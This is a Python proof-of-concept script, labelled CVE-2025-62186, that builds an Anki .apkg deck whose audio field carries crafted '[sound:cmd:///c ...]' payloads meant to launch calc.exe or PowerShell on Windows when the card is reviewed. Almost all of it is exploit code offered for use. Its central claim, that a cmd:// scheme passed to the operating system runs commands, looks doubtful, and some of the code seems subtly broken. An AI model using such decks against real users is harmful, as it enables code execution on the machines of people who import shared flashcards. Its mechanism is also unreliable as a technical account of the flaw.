# CVE-2025-62186 PoC - Anki Malicious Deck with URL Scheme Command Execution
# This PoC demonstrates how to craft a malicious Anki deck that triggers
# arbitrary command execution on Windows when playing audio.
import zipfile
import os
import json
import sqlite3
import tempfile
import shutil
def create_malicious_apkg(output_path):
"""
Create a malicious .apkg file that exploits CVE-2025-62186.
The audio reference uses a malicious URL scheme to execute commands on Windows.
"""
# Create temporary directory for deck contents
tmp_dir = tempfile.mkdtemp()
try:
# Create collection.anki2 database (SQLite format)
db_path = os.path.join(tmp_dir, "collection.anki2")
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
# Create necessary tables (simplified Anki schema)
cursor.execute("""
CREATE TABLE IF NOT EXISTS col (
id INTEGER PRIMARY KEY,
crt INTEGER,
mod INTEGER,
scm INTEGER,
ver INTEGER,
dty INTEGER,
usn INTEGER,
ls INTEGER,
conf TEXT,
models TEXT,
decks TEXT,
dconf TEXT,
tags TEXT
)
""")
# Create notes table
cursor.execute("""
CREATE TABLE IF NOT EXISTS notes (
id INTEGER PRIMARY KEY,
guid TEXT,
mid INTEGER,
mod INTEGER,
usn INTEGER,
tags TEXT,
flds TEXT,
sfld TEXT,
csum INTEGER,
flags INTEGER,
data TEXT
)
""")
# Create cards table
cursor.execute("""
CREATE TABLE IF NOT EXISTS cards (
id INTEGER PRIMARY KEY,
nid INTEGER,
did INTEGER,
ord INTEGER,
mod INTEGER,
usn INTEGER,
type INTEGER,
queue INTEGER,
due INTEGER,
ivl INTEGER,
factor INTEGER,
reps INTEGER,
lapses INTEGER,
left INTEGER,
odue INTEGER,
odid INTEGER,
flags INTEGER,
data TEXT
)
""")
# Define card model with audio field
model = {
"id": 1700000000000,
"name": "Basic",
"type": 0,
"mod": 0,
"usn": 0,
"sortf": 0,
"did": 1,
"tmpls": [{
"name": "Card 1",
"ord": 0,
"qfmt": "{{Front}}\n{{Audio}}",
"afmt": "{{FrontSide}}\n<hr id=answer>\n{{Back}}"
}],
"flds": [
{"name": "Front", "ord": 0, "sticky": False, "rtl": False, "media": []},
{"name": "Back", "ord": 1, "sticky": False, "rtl": False, "media": []},
{"name": "Audio", "ord": 2, "sticky": False, "rtl": False, "media": []}
],
"css": ".card { font-family: arial; font-size: 20px; text-align: center; color: black; background: white; }",
"latexPre": "",
"latexPost": "",
"latexsvg": False,
"req": [[0, "any", [0]], [1, "any", [0]]]
}
# Define deck
deck = {
"1": {
"id": 1,
"name": "Malicious Deck::CVE-2025-62186",
"mod": 0,
"usn": 0,
"lrnToday": [0, 0],
"revToday": [0, 0],
"newToday": [0, 0],
"timeToday": [0, 0],
"collapsed": True,
"browserCollapsed": True,
"desc": "",
"dyn": 0,
"conf": 1,
"extendNew": 0,
"extendRev": 0
}
}
# Insert collection metadata
cursor.execute("""
INSERT INTO col (id, crt, mod, scm, ver, dty, usn, ls, conf, models, decks, dconf, tags)
VALUES (1, 0, 0, 0, 11, 0, 0, 0, '{}', ?, ?, '{}', '{}')
""", (json.dumps([model]), json.dumps(deck)))
# Insert malicious note with crafted audio URL
# The key exploit: audio field contains a URL with malicious scheme
# On Windows, cmd:// protocol can trigger command execution
malicious_audio_url = '[sound:cmd:///c calc.exe]'
cursor.execute("""
INSERT INTO notes (id, guid, mid, mod, usn, tags, flds, sfld, csum, flags, data)
VALUES (1, 'malicious_guid_001', 1700000000000, 0, 0, '',
'What is CVE-2025-62186?<\/div>A URL scheme vulnerability in Anki.<\/div>' || ? || '',
'What is CVE-2025-62186?', 0, 0, '')
""", (malicious_audio_url,))
# Insert corresponding card
cursor.execute("""
INSERT INTO cards (id, nid, did, ord, mod, usn, type, queue, due, ivl, factor, reps, lapses, left, odue, odid, flags, data)
VALUES (1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '')
""")
conn.commit()
conn.close()
# Create media mapping file (empty - no actual media files needed)
media_mapping = json.dumps({})
# Package as .apkg (which is a ZIP file)
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as apkg:
apkg.write(db_path, "collection.anki2")
apkg.writestr("media", media_mapping)
print(f"[+] Malicious deck created: {output_path}")
print(f"[!] When imported into Anki < 25.02.5 on Windows and the card is reviewed,")
print(f"[!] the malicious audio URL will trigger command execution.")
finally:
shutil.rmtree(tmp_dir, ignore_errors=True)
def create_malicious_deck_json():
"""
Alternative approach: Generate the malicious content as JSON for manual deck creation.
This shows the structure of the exploit payload.
"""
exploit_payload = {
"deck_name": "Exploit Deck - CVE-2025-62186",
"notes": [
{
"fields": {
"Front": "Click to hear the pronunciation",
"Back": "This card exploits URL scheme handling",
"Audio": "[sound:cmd:///c powershell.exe -Command Start-Process calc.exe]"
}
}
],
"explanation": (
"The [sound:...] tag tells Anki to play audio from the given URL. "
"By using cmd:// scheme, Windows will execute the command instead of "
"treating it as a file path. When the user reviews this card, Anki "
"passes the URL to the OS, which interprets cmd:// as a command to execute."
)
}
return json.dumps(exploit_payload, indent=2)
if __name__ == "__main__":
# Generate the malicious .apkg file
output = "cve_2025_62186_exploit.apkg"
create_malicious_apkg(output)
# Also print the JSON payload structure
print("\n--- Exploit Payload Structure ---")
print(create_malicious_deck_json())